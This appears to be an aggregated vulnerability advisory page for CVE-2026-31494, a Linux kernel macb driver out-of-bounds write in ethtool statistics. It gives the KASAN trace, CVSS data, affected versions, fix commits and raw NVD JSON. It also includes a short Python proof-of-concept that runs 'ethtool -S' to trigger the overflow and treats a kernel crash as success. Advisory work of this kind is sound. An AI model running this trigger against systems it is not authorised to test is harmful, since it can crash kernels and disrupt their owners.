CVE-2026-31494

Description

In the Linux kernel, the following vulnerability has been resolved: net: macb: use the current queue number for stats There's a potential mismatch between the memory reserved for statistics and the amount of memory written. gem_get_sset_count() correctly computes the number of stats based on the active queues, whereas gem_get_ethtool_stats() indiscriminately copies data using the maximum number of queues, and in the case the number of active queues is less than MACB_MAX_QUEUES, this results in a OOB write as observed in the KASAN splat. ================================================================== BUG: KASAN: vmalloc-out-of-bounds in gem_get_ethtool_stats+0x54/0x78 [macb] Write of size 760 at addr ffff80008080b000 by task ethtool/1027 CPU: [...] Tainted: [E]=UNSIGNED_MODULE Hardware name: raspberrypi rpi/rpi, BIOS 2025.10 10/01/2025 Call trace: show_stack+0x20/0x38 (C) dump_stack_lvl+0x80/0xf8 print_report+0x384/0x5e0 kasan_report+0xa0/0xf0 kasan_check_range+0xe8/0x190 __asan_memcpy+0x54/0x98 gem_get_ethtool_stats+0x54/0x78 [macb 926c13f3af83b0c6fe64badb21ec87d5e93fcf65] dev_ethtool+0x1220/0x38c0 dev_ioctl+0x4ac/0xca8 sock_do_ioctl+0x170/0x1d8 sock_ioctl+0x484/0x5d8 __arm64_sys_ioctl+0x12c/0x1b8 invoke_syscall+0xd4/0x258 el0_svc_common.constprop.0+0xb4/0x240 do_el0_svc+0x48/0x68 el0_svc+0x40/0xf8 el0t_64_sync_handler+0xa0/0xe8 el0t_64_sync+0x1b0/0x1b8 The buggy address belongs to a 1-page vmalloc region starting at 0xffff80008080b000 allocated at dev_ethtool+0x11f0/0x38c0 The buggy address belongs to the physical page: page: refcount:1 mapcount:0 mapping:0000000000000000 index:0xffff00000a333000 pfn:0xa333 flags: 0x7fffc000000000(node=0|zone=0|lastcpupid=0x1ffff) raw: 007fffc000000000 0000000000000000 dead000000000122 0000000000000000 raw: ffff00000a333000 0000000000000000 00000001ffffffff 0000000000000000 page dumped because: kasan: bad access detected Memory state around the buggy address: ffff80008080b080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ffff80008080b100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >ffff80008080b180: 00 00 00 00 00 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 ^ ffff80008080b200: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 ffff80008080b280: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 ================================================================== Fix it by making sure the copied size only considers the active number of queues.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (修复前版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-31494
# This PoC triggers the OOB write by calling ethtool stats on a device with fewer active queues than max.
import subprocess
import sys

def trigger_poc(interface):
    try:
        # Calling ethtool to get stats triggers gem_get_ethtool_stats
        # This attempts to copy more data than allocated if queue count mismatches
        result = subprocess.run(['ethtool', '-S', interface], capture_output=True, text=True)
        print("Output:", result.stdout)
        print("Error:", result.stderr)
        print("If kernel crashes or KASAN reports, PoC successful.")
    except Exception as e:
        print(f"Exception: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: python {sys.argv[0]} <network_interface>")
    else:
        trigger_poc(sys.argv[1])

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31494
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31494
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31494/
[4] VulDB https://vuldb.com/cve/CVE-2026-31494
[5] https://git.kernel.org/stable/c/240c5302eed83e34e98db18f6795ee5f40814024
[6] https://git.kernel.org/stable/c/72d96e4e24bbefdcfbc68bdb9341a05d8f5cb6e5
[7] https://git.kernel.org/stable/c/7ff87da099210856cbfe2f2f7f52ddfa57af4f0c
[8] https://git.kernel.org/stable/c/95246341945163ad9a250a87ca5bd1c1252777ae
[9] https://git.kernel.org/stable/c/9596759a84e1dbf2670518d85e969208960041f9
[10] https://git.kernel.org/stable/c/9738be665544281aa624842812c2fbfed6f88226
[11] https://git.kernel.org/stable/c/9d74d10e4e26672e139a8bcf8bf95957bf2d160f
[12] https://git.kernel.org/stable/c/e182fe273cdf5a8931592228196ef514ffac392b

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31494", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T14:16:47.293", "lastModified": "2026-04-28T14:44:57.387", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: macb: use the current queue number for stats\n\nThere's a potential mismatch between the memory reserved for statistics\nand the amount of memory written.\n\ngem_get_sset_count() correctly computes the number of stats based on the\nactive queues, whereas gem_get_ethtool_stats() indiscriminately copies\ndata using the maximum number of queues, and in the case the number of\nactive queues is less than MACB_MAX_QUEUES, this results in a OOB write\nas observed in the KASAN splat.\n\n==================================================================\nBUG: KASAN: vmalloc-out-of-bounds in gem_get_ethtool_stats+0x54/0x78\n [macb]\nWrite of size 760 at addr ffff80008080b000 by task ethtool/1027\n\nCPU: [...]\nTainted: [E]=UNSIGNED_MODULE\nHardware name: raspberrypi rpi/rpi, BIOS 2025.10 10/01/2025\nCall trace:\n show_stack+0x20/0x38 (C)\n dump_stack_lvl+0x80/0xf8\n print_report+0x384/0x5e0\n kasan_report+0xa0/0xf0\n kasan_check_range+0xe8/0x190\n __asan_memcpy+0x54/0x98\n gem_get_ethtool_stats+0x54/0x78 [macb\n 926c13f3af83b0c6fe64badb21ec87d5e93fcf65]\n dev_ethtool+0x1220/0x38c0\n dev_ioctl+0x4ac/0xca8\n sock_do_ioctl+0x170/0x1d8\n sock_ioctl+0x484/0x5d8\n __arm64_sys_ioctl+0x12c/0x1b8\n invoke_syscall+0xd4/0x258\n el0_svc_common.constprop.0+0xb4/0x240\n do_el0_svc+0x48/0x68\n el0_svc+0x40/0xf8\n el0t_64_sync_handler+0xa0/0xe8\n el0t_64_sync+0x1b0/0x1b8\n\nThe buggy address belongs to a 1-page vmalloc region starting at\n 0xffff80008080b000 allocated at dev_ethtool+0x11f0/0x38c0\nThe buggy address belongs to the physical page:\npage: refcount:1 mapcount:0 mapping:0000000000000000\n index:0xffff00000a333000 pfn:0xa333\nflags: 0x7fffc000000000(node=0|zone=0|lastcpupid=0x1ffff)\nraw: 007fffc000000000 0000000000000000 dead000000000122 0000000000000000\nraw: ffff00000a333000 0000000000000000 00000001ffffffff 0000000000000000\npage dumped because: kasan: bad access detected\n\nMemory state around the buggy address:\n ffff80008080b080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n ffff80008080b100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n>ffff80008080b180: 00 00 00 00 00 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8\n ^\n ffff80008080b200: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8\n ffff80008080b280: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8\n==================================================================\n\nFix it by making sure the copied size only considers the active number of\nqueues."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.16.1", "versionEndExcluding": "5.10.253", "matchCriteriaId": "96C0EA12-83B8-4804-94AB-EF34257BCBDF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.168", "matchCriteriaId": "E2DDDCA1-6DAB-4018-B920-8F045DDD8D3B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.131", "matchCriteriaId": "CE6ED4D4-0046-4573-BFA9-D64143B6A89F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.80", "matchCriteriaId": "97EB19EC-A11E-49C6-9D2F-6F6EC6CB98B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.21", "matchCriteriaId": "ED39847A-3B46-4729-B7CA-B2C30B9FA8FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.11", "matchCriteriaId": "4CA2E747-A9EC-4518-9AA2-B4247FC748B7"}, {"vulnerable": true, "crit ... (truncated)